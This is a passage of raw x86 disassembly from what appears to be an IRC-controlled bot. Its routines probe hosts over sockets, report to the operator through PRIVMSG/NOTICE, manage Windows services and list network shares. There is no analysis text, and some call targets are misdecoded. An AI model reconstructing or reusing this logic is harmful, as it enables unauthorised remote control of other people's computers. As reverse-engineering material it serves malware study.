; ---------------------------------------------------------------------------

loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax

loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax

loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43F6A8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------

loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43F6B8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------

loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43F700
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		nop
		call	near ptr 26003D2h

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4

loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_444138
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------

loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------

loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_444138
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43F65C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		nop
		call	near ptr 2650C45h
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------

loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43F550
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		nop
		call	near ptr 2650C45h
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------

loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43F5B8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43F558
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43F5BC

loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 2650C45h
		mov	ebx, eax

loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43F56C

loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43F56C
		pop	esi

loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump

loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_443A78
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------

loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_443A78
		call	sub_4172B0
		add	esp, 0Ch

loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_443A78
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43F65C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43F628
		test	eax, eax
		jnz	short loc_40DA25
		call	near ptr 2650C45h
		nop
		cmp	eax, 0EAh
		jnz	loc_40DAD9

loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]

loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"

loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36

loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB

loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43F56C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------

loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax

loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch

loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30

loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443D34
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F88+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_443F34, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_443F34, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_443CD4, eax

loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_443CD4
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_443CD4
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AC+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43F568
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F88+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43F540
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43F5B4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------

loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43F55C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"

loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi

loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43F6F8

loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
